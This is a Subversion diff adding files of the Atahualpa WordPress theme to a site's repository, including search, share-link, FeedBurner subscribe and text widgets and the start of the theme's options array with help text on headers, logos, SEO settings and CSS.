+			<label class="hidden" for="s"><?php _e('Search for:','atahualpa'); ?></label>
+			<input type="text" name="s" id="s" size="15" value="<?php the_search_query(); ?>" />
+			<input type="submit" value="<?php echo attribute_escape(__('Search','atahualpa')); ?>" />
+		</div></form>
+<?php }
+	echo "</div>";
+}
+?>
+<?php // unregister old / register new search widget
+	$widget_ops = array('classname' => 'widget_search', 'description' => __( "A search form for your blog","atahualpa") );
+	unregister_sidebar_widget('search', __('Search','atahualpa'), 'wp_widget_search', $widget_ops);
+	wp_register_sidebar_widget('search', __('Search','atahualpa'), 'widget_search', $widget_ops);
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_sociable2.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_sociable2.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_sociable2.php	(revision 44)
@@ -0,0 +1,76 @@
+<?php
+function sociable_html2($display=Array()) {
+	global $sociable_known_sites, $sociablepluginpath, $wp_query; 
+
+	$active_sites = get_option('sociable_active_sites');
+	$html = "";
+	$imagepath = $sociablepluginpath.'images/';
+
+	// if no sites are specified, display all active
+	// have to check $active_sites has content because WP
+	// won't save an empty array as an option
+	if (empty($display) and $active_sites)
+		$display = $active_sites;
+	// if no sites are active, display nothing
+	if (empty($display))
+		return "";
+
+	// Load the post's data
+	$blogname 	= urlencode(get_bloginfo('name')." ".get_bloginfo('description'));
+	$post 		= $wp_query->post;
+	
+	$excerpt	= $post->post_excerpt;
+	if ($excerpt == "") {
+		$excerpt = urlencode(substr(strip_tags($post->post_content),0,250));
+	}
+	$excerpt	= str_replace('+','%20',$excerpt);
+	
+	$permalink 	= urlencode(get_permalink($post->ID));
+	
+	$title 		= urlencode($post->post_title);
+	$title 		= str_replace('+','%20',$title);
+	
+	$rss 		= urlencode(get_bloginfo('ref_url'));
+
+	$html .= "\n<span class=\"sociable\">\n";
+	$html .= "<ul>\n";
+
+	foreach($display as $sitename) {
+		// if they specify an unknown or inactive site, ignore it
+		if (!in_array($sitename, $active_sites))
+			continue;
+
+		$site = $sociable_known_sites[$sitename];
+
+		$url = $site['url'];
+		$url = str_replace('PERMALINK', $permalink, $url);
+		$url = str_replace('TITLE', $title, $url);
+		$url = str_replace('RSS', $rss, $url);
+		$url = str_replace('BLOGNAME', $blogname, $url);
+		$url = str_replace('EXCERPT', $excerpt, $url);
+
+		if (isset($site['description']) && $site['description'] != "") {
+			$description = $site['description'];
+		} else {
+			$description = $sitename;
+		}
+		$link = "<li>";		
+		$link .= "<a rel=\"nofollow\"";
+		if (get_option('sociable_usetargetblank')) {
+			$link .= " target=\"_blank\"";
+		}
+		$link .= " href=\"$url\" title=\"$description\">";
+		$link .= "<img src=\"$imagepath{$site['favicon']}\" title=\"$description\" alt=\"$description\" class=\"sociable-hovers";
+		if ($site['class'])
+			$link .= " sociable_{$site['class']}";
+		$link .= "\" />";
+		$link .= "</a></li>";
+		
+		$html .= "\t".apply_filters('sociable_link',$link)."\n";
+	}
+
+	$html .= "</ul>\n</span>\n";
+
+	return $html;
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_subscribe.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_subscribe.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_subscribe.php	(revision 44)
@@ -0,0 +1,156 @@
+<?php
+function widget_bfa_subscribe($args) {
+	extract($args);
+	$options = get_option('widget_bfa_subscribe');
+	$title = apply_filters('widget_title', $options['title']);
+	$email_text = apply_filters('widget_text', $options['email-text']);
+	$field_text = apply_filters('widget_title', $options['field-text']);
+	$submit_text = apply_filters('widget_title', $options['submit-text']);
+	$posts_text = apply_filters('widget_text', $options['posts-text']);
+	$comments_text = apply_filters('widget_text', $options['comments-text']);
+	$id = apply_filters('widget_title', $options['id']);
+	$google_or_feedburner = apply_filters('widget_title', $options['google-or-feedburner']);
+	echo $before_widget;
+	if ( !empty($title) ) { echo $before_title . $title . $after_title; }
+	// feedburner or google:
+	if ( $google_or_feedburner == "feedburner" ) {
+		$action_url = "www.feedburner.com/fb/a/emailverify";
+		$window_url = "www.feedburner.com/fb/a/emailverifySubmit?feedId=";
+		$hidden_value_url = "http://feeds.feedburner.com/~e?ffid=";
+		$hidden_uri = "url";
+		$hidden_input = '<input type="hidden" value="' . get_bloginfo('name') . '" name="title"/>';
+	} else {
+		$action_url = "feedburner.google.com/fb/a/mailverify";
+		$window_url = "feedburner.google.com/fb/a/mailverify?uri=";
+		$hidden_value_url = "";
+		$hidden_uri = "uri";
+		$hidden_input = "";
+	}
+	// replace URL placeholders:
+	$email_text = str_replace("%email-url", "http://" . $window_url . $id . "&amp;loc=" . get_locale(), $email_text);
+	$posts_text = str_replace("%posts-url",  get_bloginfo('rss2_url'), $posts_text);
+	$comments_text = str_replace("%comments-url",  get_bloginfo('comments_rss2_url'), $comments_text);
+?>
+<form class="feedburner-email-form" 
+action="http://<?php echo $action_url; ?>" method="post" target="popupwindow" 
+onsubmit="window.open('http://<?php echo $window_url . $id; ?>', 
+'popupwindow', 'scrollbars=yes,width=550,height=520');return true">
+<table class="subscribe" cellpadding="0" cellspacing="0" border="0"><tr>
+<td class="email-text" colspan="2"><p>
+<a href="http://<?php echo $window_url . $id; ?>&amp;loc=<?php echo get_locale() . 
+($bfa_ata_nofollow == "Yes" ? ' rel="nofollow"' : ''); ?>">
+<img src="<?php echo get_bloginfo('template_directory'); ?>/images/feedburner-email.gif" style="float:left; margin: 0 7px 3px 0" alt="" /></a><?php echo $email_text; ?></p>
+</td></tr><tr><td class="email-field"><input type="text" name="email" class="text inputblur" value="<?php echo $field_text; ?>" 
+onfocus="this.value='';" />
+<input type="hidden" value="<?php echo $hidden_value_url . $id; ?>" name="<?php echo $hidden_uri; ?>"/>
+<?php echo $hidden_input ?>
+<input type="hidden" name="loc" value="<?php echo get_locale(); ?>"/>
+</td><td class="email-button">
+<input type="submit" class="button"  value="<?php echo $submit_text; ?>" />
+</td></tr>
+<tr>
+<td  class="post-text" colspan="2"><p>
+<a href="<?php echo get_bloginfo('rss2_url'); ?>"<?php if ($bfa_ata_nofollow == "Yes") { ?> rel="nofollow"<?php } ?>>
+<img src="<?php echo get_bloginfo('template_directory'); ?>/images/post-feed.gif" style="float:left; margin: 0 7px 3px 0" alt="" /></a><?php echo $posts_text; ?></p>
+</td>
+</tr>
+<tr>
+<td class="comment-text" colspan="2"><p>
+<a href="<?php echo get_bloginfo('comments_rss2_url'); ?>"<?php if ($bfa_ata_nofollow == "Yes") { ?> rel="nofollow"<?php } ?>>
+<img src="<?php echo get_bloginfo('template_directory'); ?>/images/comment-feed.gif" style="float:left; margin: 0 7px 3px 0" alt="" /></a><?php echo $comments_text; ?></p>
+</td>
+</tr>
+</table>
+</form>
+<?php
+	echo $after_widget;
+}
+function widget_bfa_subscribe_control() {
+	$options = $newoptions = get_option('widget_bfa_subscribe');
+	if ( $_POST["subscribe-submit"] ) {
+		$newoptions['title'] = strip_tags(stripslashes($_POST["subscribe-title"]));
+		
+		$newoptions['field-text'] = strip_tags(stripslashes($_POST["feedburner-email-field-text"]));
+		$newoptions['submit-text'] = strip_tags(stripslashes($_POST["feedburner-email-submit-text"]));
+		
+		if ( current_user_can('unfiltered_html') ) {
+		$newoptions['email-text'] = stripslashes($_POST["subscribe-email-text"]); 
+		$newoptions['posts-text'] = stripslashes($_POST["subscribe-posts-text"]);
+		$newoptions['comments-text'] = stripslashes($_POST["subscribe-comments-text"]);
+		} else { 
+		$newoptions['email-text'] = stripslashes(wp_filter_post_kses($_POST["subscribe-email-text"]));
+		$newoptions['posts-text'] = stripslashes(wp_filter_post_kses($_POST["subscribe-posts-text"]));
+		$newoptions['comments-text'] = stripslashes(wp_filter_post_kses($_POST["subscribe-comments-text"]));
+		}
+		
+		$newoptions['id'] = strip_tags(stripslashes($_POST["feedburner-email-id"]));
+		$newoptions['google-or-feedburner'] = strip_tags(stripslashes($_POST["google-or-feedburner"]));
+	}
+	if ( $options != $newoptions ) {
+		$options = $newoptions;
+		update_option('widget_bfa_subscribe', $options);
+	}
+	$title = attribute_escape($options['title']);
+	$email_text = format_to_edit($options['email-text']);
+	$field_text = attribute_escape($options['field-text']);
+	$submit_text = attribute_escape($options['submit-text']);
+	$posts_text = format_to_edit($options['posts-text']);
+	$comments_text = format_to_edit($options['comments-text']);
+	$id = attribute_escape($options['id']);
+	$google_or_feedburner = attribute_escape($options['google-or-feedburner']);
+	if ( $google_or_feedburner == "" ) { $google_or_feedburner = "google"; }
+?>
+You may have to <span style="font-weight: bold; color: #c00">save this widget once</span> first (Click "Done" and "Save Changes") before you can edit the text fields below...<br /><br />
+<p><label for="subscribe-title">Optional: Title: 
+<input class="widefat" id="subscribe-title" name="subscribe-title" type="text" value="<?php echo $title; ?>" /></label></p>
+
+<p><label for="subscribe-email-text">
+Text for Email section. <?php if ( current_user_can('unfiltered_html')) echo' (HTML allowed. Email subscribe URL = %email-url)'; ?>
+<textarea class="widefat" style="width: 98%" rows="3" cols="20" id="subscribe-email-text" name="subscribe-email-text">
+<?php echo $email_text; ?></textarea></label></p>
+
+<p style="float: left; width: 69%; display: block">
+<label for="feedburner-email-field-text">Optional: Text inside Email input field: 
+<input class="widefat" id="feedburner-email-field-text" name="feedburner-email-field-text" type="text" value="<?php echo $field_text; ?>" /></label></p>
+
+<p style="float: right; width: 29%; display: block">
+<label for="feedburner-email-submit-text">Text for Email submit button: 
+<input class="widefat" id="feedburner-email-submit-text" name="feedburner-email-submit-text" type="text" value="<?php echo $submit_text; ?>" /></label></p>
+<div style="clear: both"></div>
+
+<p><label for="subscribe-posts-text">
+Text for Posts RSS section <?php if ( current_user_can('unfiltered_html')) echo ' (HTML allowed. Posts feed URL = %posts-url)'; ?>
+<textarea class="widefat" style="width: 98%" rows="3" cols="20" id="subscribe-posts-text" name="subscribe-posts-text">
+<?php echo $posts_text; ?></textarea></label></p>
+
+<p><label for="subscribe-comments-text">
+Text for Comments RSS section <?php if ( current_user_can('unfiltered_html')) echo ' (HTML allowed. Comments feed URL = %comments-url)'; ?>
+<textarea class="widefat" style="width: 98%" rows="3" cols="20" id="subscribe-comments-text" name="subscribe-comments-text">
+<?php echo $comments_text; ?></textarea></label></p>
+
+<p><label for="feedburner-email-id">
+Feedburner Email ID:
+<input class="widefat" id="feedburner-email-id" name="feedburner-email-id" type="text" value="<?php echo $id; ?>" /></label></p>
+
+<p><strong>How to find the feed ID for this site at Feedburner:</strong><br />
+Login to your Feedburner account, click "My Feeds" -> Title of the feed in question -> Publicize -> Email Subscriptions -> Check out the two textareas. 
+In the bigger one of the two textareas your ID appears as: <br />1) If you have an <strong>old feedburner.com</strong> account:  
+www.feedburner.com/fb/a/emailverifySubmit?feedId=<strong>1234567</strong>&amp;loc=en_US<br />2) if you have a <strong>new feedburner.google.com</strong> account: 
+feedburner.google.com/fb/a/mailverify?uri=<strong>bytesforall/lzoG</strong>&amp;loc=en_US<br />The bold part is the ID that you need to put here.</p>
+
+<p>Is this a feedburner.google.com account or an old feedburner.com account?		
+<p><input id="google-or-feedburner" name="google-or-feedburner" type="radio" value="google" <?php 
+if($google_or_feedburner == "google"){echo " CHECKED";}?> /> New feedburner.google.com account</p>
+<p><input id="google-or-feedburner" name="google-or-feedburner" type="radio" value="feedburner" <?php 
+if($google_or_feedburner == "feedburner"){echo " CHECKED";}?> /> Old feedburner.com account</p>
+
+			<input type="hidden" id="subscribe-submit" name="subscribe-submit" value="1" />
+
+<?php
+}
+// register feedburner email widget
+	$widget_ops = array('classname' => 'widget_bfa_subscribe', 'description' => 'Subscribe widget for RSS and Email' );
+	$control_ops = array('width' => 600, 'height' => 500);
+	wp_register_sidebar_widget('bfa_subscribe', 'BFA Subscribe', 'widget_bfa_subscribe', $widget_ops);
+	wp_register_widget_control('bfa_subscribe', 'BFA Subscribe', 'widget_bfa_subscribe_control', $control_ops);		
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_text_widget.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_text_widget.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_text_widget.php	(revision 44)
@@ -0,0 +1,115 @@
+<?php // create new text widgets
+function widget_text($args, $widget_args = 1) {
+	extract( $args, EXTR_SKIP );
+	if ( is_numeric($widget_args) )
+		$widget_args = array( 'number' => $widget_args );
+	$widget_args = wp_parse_args( $widget_args, array( 'number' => -1 ) );
+	extract( $widget_args, EXTR_SKIP );
+
+	$options = get_option('widget_text');
+	if ( !isset($options[$number]) )
+		return;
+
+	$title = apply_filters('widget_title', $options[$number]['title']);
+	$text = apply_filters( 'widget_text', $options[$number]['text'] );
+?>
+		<?php echo $before_widget; ?>
+			<?php if ( !empty( $title ) ) { echo $before_title . $title . $after_title; } ?>
+			<div class="textwidget"><?php echo $text; ?></div>
+		<?php if ( !empty( $title ) ) { echo $after_widget; } else { echo "</div>"; } ?>
+<?php
+}
+// create new text widget controls
+function widget_text_control($widget_args = 1) {
+	global $wp_registered_widgets;
+	static $updated = false;
+
+	if ( is_numeric($widget_args) )
+		$widget_args = array( 'number' => $widget_args );
+	$widget_args = wp_parse_args( $widget_args, array( 'number' => -1 ) );
+	extract( $widget_args, EXTR_SKIP );
+
+	$options = get_option('widget_text');
+	if ( !is_array($options) )
+		$options = array();
+
+	if ( !$updated && !empty($_POST['sidebar']) ) {
+		$sidebar = (string) $_POST['sidebar'];
+
+		$sidebars_widgets = wp_get_sidebars_widgets();
+		if ( isset($sidebars_widgets[$sidebar]) )
+			$this_sidebar =& $sidebars_widgets[$sidebar];
+		else
+			$this_sidebar = array();
+
+		foreach ( $this_sidebar as $_widget_id ) {
+			if ( 'widget_text' == $wp_registered_widgets[$_widget_id]['callback'] && isset($wp_registered_widgets[$_widget_id]['params'][0]['number']) ) {
+				$widget_number = $wp_registered_widgets[$_widget_id]['params'][0]['number'];
+				if ( !in_array( "text-$widget_number", $_POST['widget-id'] ) ) // the widget has been removed.
+					unset($options[$widget_number]);
+			}
+		}
+
+		foreach ( (array) $_POST['widget-text'] as $widget_number => $widget_text ) {
+			if ( !isset($widget_text['text']) && isset($options[$widget_number]) ) // user clicked cancel
+				continue;
+			$title = strip_tags(stripslashes($widget_text['title']));
+			if ( current_user_can('unfiltered_html') )
+				$text = stripslashes( $widget_text['text'] );
+			else
+				$text = stripslashes(wp_filter_post_kses( $widget_text['text'] ));
+			$options[$widget_number] = compact( 'title', 'text' );
+		}
+
+		update_option('widget_text', $options);
+		$updated = true;
+	}
+
+	if ( -1 == $number ) {
+		$title = '';
+		$text = '';
+		$number = '%i%';
+	} else {
+		$title = attribute_escape($options[$number]['title']);
+		$text = format_to_edit($options[$number]['text']);
+	}
+?>
+		<p>
+			<input class="widefat" id="text-title-<?php echo $number; ?>" name="widget-text[<?php echo $number; ?>][title]" type="text" value="<?php echo $title; ?>" />
+			<textarea class="widefat" rows="16" cols="20" id="text-text-<?php echo $number; ?>" name="widget-text[<?php echo $number; ?>][text]"><?php echo $text; ?></textarea>
+			<input type="hidden" name="widget-text[<?php echo $number; ?>][submit]" value="1" />
+		</p>
+<?php
+}
+
+// unregister old / register new text widgets
+
+function widget_text_un_re_register() {
+	if ( !$options = get_option('widget_text') )
+		$options = array();
+	$widget_ops = array('classname' => 'widget_text', 'description' => __('Arbitrary text or HTML','atahualpa'));
+	$control_ops = array('width' => 400, 'height' => 350, 'id_base' => 'text');
+	$name = __('Text','atahualpa');
+
+	$id = false;
+	foreach ( array_keys($options) as $o ) {
+		// Old widgets can have null values for some reason
+		if ( !isset($options[$o]['title']) || !isset($options[$o]['text']) )
+			continue;
+		$id = "text-$o"; // Never never never translate an id
+		unregister_sidebar_widget($id, $name, 'wp_widget_text', $widget_ops, array( 'number' => $o ));
+		unregister_widget_control($id, $name, 'wp_widget_text_control', $control_ops, array( 'number' => $o ));
+		wp_register_sidebar_widget($id, $name, 'widget_text', $widget_ops, array( 'number' => $o ));
+		wp_register_widget_control($id, $name, 'widget_text_control', $control_ops, array( 'number' => $o ));
+	}
+
+	// If there are none, we register the widget's existance with a generic template
+	if ( !$id ) {
+		unregister_sidebar_widget( 'text-1', $name, 'wp_widget_text', $widget_ops, array( 'number' => -1 ) );
+		unregister_widget_control( 'text-1', $name, 'wp_widget_text_control', $control_ops, array( 'number' => -1 ) );
+		wp_register_sidebar_widget( 'text-1', $name, 'widget_text', $widget_ops, array( 'number' => -1 ) );
+		wp_register_widget_control( 'text-1', $name, 'widget_text_control', $control_ops, array( 'number' => -1 ) );
+	}
+}
+add_action( 'widgets_init', 'widget_text_un_re_register' )
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_theme_options.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_theme_options.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_theme_options.php	(revision 44)
@@ -0,0 +1,2392 @@
+<?php
+// different options text for WP and WPMU, because image upload works differently
+
+$header_image_text_wp = "To add your own header image(s), upload one or several images with any file names 
+<code>anything.[jpg|gif|png]</code> i.e. <code>hfk7wdfw8.gif</code>, <code>IMAGE_1475.jpg</code>, <code>bla.png</code> 
+to /wp-content/themes/[theme-name]/images/header/ through FTP. You will need a \"FTP Client\" software such as 
+<a href=\"http://filezilla-project.org/download.php\">Filezilla</a> (free), the Firefox extension 
+<a href=\"https://addons.mozilla.org/de/firefox/addon/684\">FireFTP</a> (free) or 
+<a href=\"http://www.smartftp.com/download/\">SmartFTP</a> ($36.95).";
+
+$header_image_text_wpmu = "To upload your own header images, you'll need to prepare your header image(s) 
+on your harddrive first. Rename your header images to <code>atahualpa_header_X.[jpg|gif|png|bmp]</code> 
+(Example: <code>atahualpa_header_1.jpg</code>, <code>atahualpa_header_3.png</code>, 
+<code>atahualpa_header_182.gif</code>) and then, upload them to your WordPress site through the WordPress Editor</strong>. 
+<br /><br />There may be no \"upload\" tab in the admin area though. In that case, start as if you were going to 
+add an image to a post: Go to Admin -> Manage -> Posts, and click on the title of an existing post to open the editor. 
+Click on the \"Add Media\" link, and in the next window click on the \"Choose files to upload\" button. 
+That will open a window on your local computer where you can find and select the header image 
+(which you've already renamed as described before) on your local harddrive. Select \"Full Size\" and, 
+do NOT click on \"Insert into Post\" but click on \"Save all changes\" instead. Now reload your Homepage 
+and the new header image should appear. If you want more than one header image (to have them rotate) simply 
+repeat all these steps. The theme will autmatically recognize all images that are named 
+<code>atahualpa_header_X.[jpg|png|gif]</code>. If there's only one image, then it'll be your single, 
+\"static\" header image. If there's more than one image, then the theme will rotate them with every pageview.";
+
+$logo_icon_text_wp = "To show your own graphic, upload an image to <strong>/wp-content/themes/atahualpa3/images/</strong> 
+and put the file name of the image into this field. <br /><br /><strong>Example:</strong><br /><code>myownlogo.gif</code>
+<br /><br />Make sure you have <strong>no spaces</strong> or exotic characters in the image file name. 
+Your Windows or Mac Computer may display them but the hosting server probably won't. The image file can 
+have a .gif, .jpg, .jpeg, .png or .bmp extension.";
+
+$logo_icon_text_wpmu = "To show your own graphic, upload an image through the WordPress Editor. 
+There may be no \"upload\" tab in your WordPress version. To upload the image start as if you were going to 
+add an image to a post: Go to Admin -> Manage -> Posts, and click on the title of an existing post to open 
+the editor. Click on the \"Add Media\" link, and in the next window click on the \"Choose files to upload\" button. 
+That will open a window on your local computer where you can select the image on your local harddrive. 
+After you've selected the image, choose \"Full Size\" and, instead of clicking on \"Insert into Post\", 
+click on \"Save all changes\". Then put the file name of your image into this field, i.e. <code>my-new-logo.jpg</code> 
+and click \"Save changes\" at the bottom fo this page. Now reload your Homepage and your new logo should appear 
+instead of the default one.<br /><br />Make sure you have no spaces or exotic characters in the image file name. 
+Your Windows or Mac Computer may display them but the hosting server probably won't. The image file can have 
+a .gif, .jpg, .jpeg, .png or .bmp extension.";
+
+if (defined('ABSPATH')) { if (file_exists(ABSPATH."/wpmu-settings.php")) {
+$header_image_text = $header_image_text_wpmu; 
+$logo_icon_text = $logo_icon_text_wpmu; } }
+else {$header_image_text = $header_image_text_wp; 
+$logo_icon_text = $logo_icon_text_wp;}
+
+// different options text for different WP versions
+// WP 2.7+
+if( function_exists('wp_list_comments') ) {
+$go_to_pages = "go to Site Admin -> Pages -> Edit";
+$go_to_cats = "go to Site Admin -> Posts -> Categories";
+$path_to_widgets = "Appearance";
+} else {
+// WP 2.6 and older
+$go_to_pages = "go to Site Admin -> Manage -> Pages";
+$go_to_cats = "go to Site Admin -> Manage -> Categories";
+$path_to_widgets = "Design (\"Presentation\" in WP 2.3 and older)";
+}
+
+// array of theme options starts here. Set the category of the first option of every new option category to "category_name", except for the very first option, which will be hard coded in functions.php
+$themename = "Atahualpa";
+$shortname = "bfa_ata";
+$options1 = array(
+
+    array(    "name" => "Thank you for using Atahualpa",
+    	    "category" => "start-here",
+            "id" => $shortname."_start_here",
+            "type" => "info",
+			"lastoption" => "yes", 
+            "info" => "<br />Atahualpa is a solid theme that works on all popular browsers and screen sizes.<br />
+			Discuss the Atahualpa theme at the <a href=\"http://forum.bytesforall.com/\">Bytes For All Forum</a>.<br />
+			<h3>Crafting a theme like this...</h3>...takes a <strong>lot</strong> of time: Please donate, no matter 
+			how small the amount may be.<br />See the \"Donate\" links at <a href=\"http://wordpress.bytesforall.com/\">
+			wordpress.bytesforall.com</a> and <a href=\"http://forum.bytesforall.com/\">forum.bytesforall.com</a><br /><br />
+			Additional ways to support the author: Answer other's questions about the theme at the 
+			<a href=\"http://forum.bytesforall.com/\">BFA Forum</a><br />and the <a href=\"http://wordpress.org/search/atahualpa?forums=1\">
+			WordPress.org Forum</a>, and vote for Atahualpa over at <a href=\"http://wordpress.org/extend/themes/atahualpa\">
+			WordPress Themes</a>. <br />
+			<h3>Caching the theme</h3>Due to its many features Atahualpa may be slightly slower than a theme without options. 
+			Like any other theme<br />Atahualpa will be fast with a caching plugin such as <a href=\"http://mnm.uib.es/gallir/wp-cache-2/\">
+			WP Cache 2</a> (easy installation) or <a href=\"http://wordpress.org/extend/plugins/wp-super-cache/\">WP Super Cache</a>.<br />
+			<h3>Customizing with CSS</h3>For greater flexibility many site elements have to be styled with CSS rather than 
+			color pickers and select menus. But the theme takes care of the layout and cross-browser related issues and leaves 
+			only the fun part of CSS for you: borders, colors, fonts, padding (inner spacing) and margin (outer spacing).
+			<h3>CSS usage instructions</h3><ul><li>The theme's CSS is spread over two files: header.php and style.css. style.css contains
+			the static CSS (that does not change) and header.php contains the dynamic CSS. The rules in header.php will overwrite any identical
+			rule that may appear in style.css. Keep this CSS structure in mind when you want to manually edit the CSS styles of the theme.</li><li>When customizing CSS via the theme options, you'll only be editing what's between the brackets, the part in red: 
+			<code>selector {<i>property:value; property2:value2;</i>}</code></li><li>Finish every property:value pair with 
+			a semicolon <code>;</code> unless the descripton, the example or the default settings indicate that a semicolon 
+			<code>;</code> should not be added. </li><li>To add completely new styles (incl. selectors &amp; brackets), 
+			add them as \"CSS insert\", see menu tab <strong>HTML/CSS Inserts</strong></li><li>More about CSS at the 
+			<a href=\"http://www.w3schools.com/css/css_syntax.asp\">W3 Schools</a></li></ul>
+			<h3>Plugins</h3>Enhance your site with <a href=\"http://wordpress.org/extend/plugins/\">plugins</a>. 
+			Atahualpa should work with most plugins. It has plug &amp; play support for these: 
+			<a href=\"http://txfx.net/code/wordpress/subscribe-to-comments/\">Subscribe to Comments</a>, 
+			<a href=\"http://www.keyvan.net/code/paged-comments/\">Paged Comments</a>, 
+			<a href=\"http://aboutme.lmbbox.com/lmbbox-plugins/lmbbox-comment-quicktags/\">LMB Box Comment Quicktags</a>, 
+			<a href=\"http://lesterchan.net/portfolio/programming/php/\">WP-PageNavi</a>, 
+			<a href=\"http://lesterchan.net/portfolio/programming/php/\">WP-Email</a>, 
+			<a href=\"http://lesterchan.net/portfolio/programming/php/\">WP-Print</a>, 
+			<a href=\"http://lesterchan.net/portfolio/programming/php/\">WP-PostViews</a> and 
+			<a href=\"http://wordpress.org/extend/plugins/sociable/\">Sociable</a>. Tested with 
+			<a href=\"http://wordpress.org/extend/plugins/wp-super-cache/\">WP Super Cache</a>, 
+			<a href=\"http://mnm.uib.es/gallir/wp-cache-2/\">WP Cache 2</a> and 
+			<a href=\"http://wordpress.org/extend/plugins/wp-syntax/\">WP-Syntax</a>. 
+			Atahualpa automatically recognizes 12 popular SEO plugins (incl. All-in-one-SEO and Headspace2) and disables its 
+			own SEO features to avoid conflicts.<br />
+			"),
+
+// New category: seo
+
+    array(    "name" => "Use Bytes For All SEO options?",
+    	    "category" => "seo",
+			"switch" => "yes",
+            "id" => $shortname."_use_bfa_seo",
+            "type" => "select",
+            "std" => "No",
+            "options" => array("No", "Yes"),
+            "info" => "<strong>Leave this at \"No\" if you're using ANY SEO plugin</strong> such as \"All-in-one-SEO\", 
+			or any plugin that deals with meta tags in some way. If both a SEO plugin and the theme's SEO functions are 
+			activated, the meta tags of your site may get messed up, which might affect your search engine rankings. 
+			<br /><br />If you leave this at \"No\", the next SEO options (except the last one, \"Nofollow RSS...\") 
+			will become obsolete, you may just skip them. <br /><br /><em>Note: Even if you set this to \"Yes\", the 
+			SEO functions listed below (except \"Nofollow RSS...\") will NOT be activated IF the theme recognizes that 
+			a SEO plugin is activated.</em>"),
+
+    array(    "name" => "Homepage Meta Description",
+    	    "category" => "seo",
+            "id" => $shortname."_homepage_meta_description",
+            "std" => "",
+            "type" => "textarea",
+			"escape" => "yes", 
+            "info" => "Type 1-3 sentences, about 20-30 words total. Will be used as Meta Description for (only) the 
+			homepage. If left blank, no Meta Description will be added to the homepage.<br /><br />HTML: No<br />
+			Single and double quotes: Yes"),    
+
+    array(    "name" => "Homepage Meta Keywords",
+    	    "category" => "seo",
+            "id" => $shortname."_homepage_meta_keywords",
+            "std" => "",
+            "type" => "textarea",
+			"escape" => "yes", 
+            "info" => "Type 5-30 words or phrases, separated by comma. Will be used as the Meta Keywords for (only) 
+			the homepage. If left blank, no Meta Keywords will be added to the homepage.<br /><br />HTML: No<br />
+			Single and double quotes: Technically, Yes, but search engines might object to it. Probably better to avoid 
+			quotes here."),
+
+    array(    "name" => "Meta Title Tag format",
+    	    "category" => "seo",
+            "id" => $shortname."_add_blogtitle",
+            "type" => "select",
+            "std" => "Page Title - Blog Title",
+            "options" => array("Page Title - Blog Title", "Blog Title - Page Title", "Page Title"),
+            "info" => "Show the blog title in front of or after the page title, in the meta title tag of every page? 
+			Or, show only the page title?"),
+
+    array(    "name" => "Meta Title Tag Separator",
+    	    "category" => "seo",
+            "id" => $shortname."_title_separator_code",
+            "type" => "select",
+            "std" => "1",
+            "options" => array("1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12", "13"),
+            "info" => "If you chose to include the blog title in the meta title (the option above), choose here what 
+			to put <strong>between</strong> the page and the blog title (or vice versa):<br /><br /> 1<code> &#171; 
+			</code> &nbsp;  &nbsp;  2<code> &#187; </code> &nbsp;  &nbsp;  3<code> &#58; </code> &nbsp;  &nbsp;  
+			4<code>&#58; </code> &nbsp;  &nbsp;  5<code> &#62; </code> &nbsp;  &nbsp;  6<code> &#60; </code> &nbsp;  
+			&nbsp;  7<code> &#45; </code><br /><br />8<code> &#8249; </code> &nbsp;  &nbsp;  9<code> &#8250; </code> 
+			&nbsp;  &nbsp;  10<code> &#8226; </code> &nbsp; &nbsp;  11<code> &#183; </code> &nbsp; &nbsp;  12<code> 
+			&#151; </code> &nbsp; &nbsp;  13<code> &#124;&nbsp;</code>"),
+ 
+    array(    "name" => "Noindex Date Archive Pages?",
+    	    "category" => "seo",
+            "id" => $shortname."_archive_noindex",
+            "type" => "select",
+            "std" => "No",
+            "options" => array("No", "Yes"),
+            "info" => "Include meta tag \"noindex, follow\" into date based archive pages? The purpose is to keep 
+			search engines from spidering duplicate content from your site."),
+
+    array(    "name" => "Noindex Category pages?",
+    	    "category" => "seo",
+            "id" => $shortname."_cat_noindex",
+            "type" => "select",
+            "std" => "No",
+            "options" => array("No", "Yes"),
+            "info" => "Include meta tag \"noindex, follow\" into category pages? Same purpose as above."),
+
+    array(    "name" => "Noindex Tag pages?",
+    	    "category" => "seo",
+            "id" => $shortname."_tag_noindex",
+            "type" => "select",
+            "std" => "No",
+            "options" => array("No", "Yes"),
+            "info" => "Include meta tag \"noindex, follow\" into tag pages? Same purpose as above."),
+
+    array(    "name" => "Nofollow RSS, trackback & admin links?",
+    	    "category" => "seo",
+            "id" => $shortname."_nofollow",
+            "type" => "select",
+            "std" => "No",
+            "options" => array("No", "Yes"),
+			"lastoption" => "yes", 
+            "info" => "Make RSS, trackback & admin links \"nofollow\"? Same purpose as above."),
+
+// New category: body-font-links
+
+    array(    "name" => "Body Style",
+    	    "category" => "body-font-links",
+			"switch" => "yes",
+            "id" => $shortname."_body_style",
+            "std" => "font-family: tahoma, arial, sans-serif;\nfont-size: 0.8em;\ncolor: #000000;\nbackground: #ffffff;",
+            "type" => "textarea",
+            "info" => "The styles you set here will apply to everything that doesn't get its own style. <br /><br />
+			<strong>Examples:</strong> <br /><br />Setting a background image for the body:<br /><code>background: 
+			url(/wp-content/themes/atahualpa3/images/backgr.gif) repeat top left;</code><br />To use your own image upload it to <code>
+			/wp-content/themes/[theme-name]/images/</code><br /><br />To put space above and below the layout:<br />
+			<code>padding-top: 20px; padding-bottom: 20px;</code><br /><br />Set padding here, instead of margin on the 
+			layout container (see tab \"Layout\") because that won't work for the bottom, in Internet Explorer."),
+			
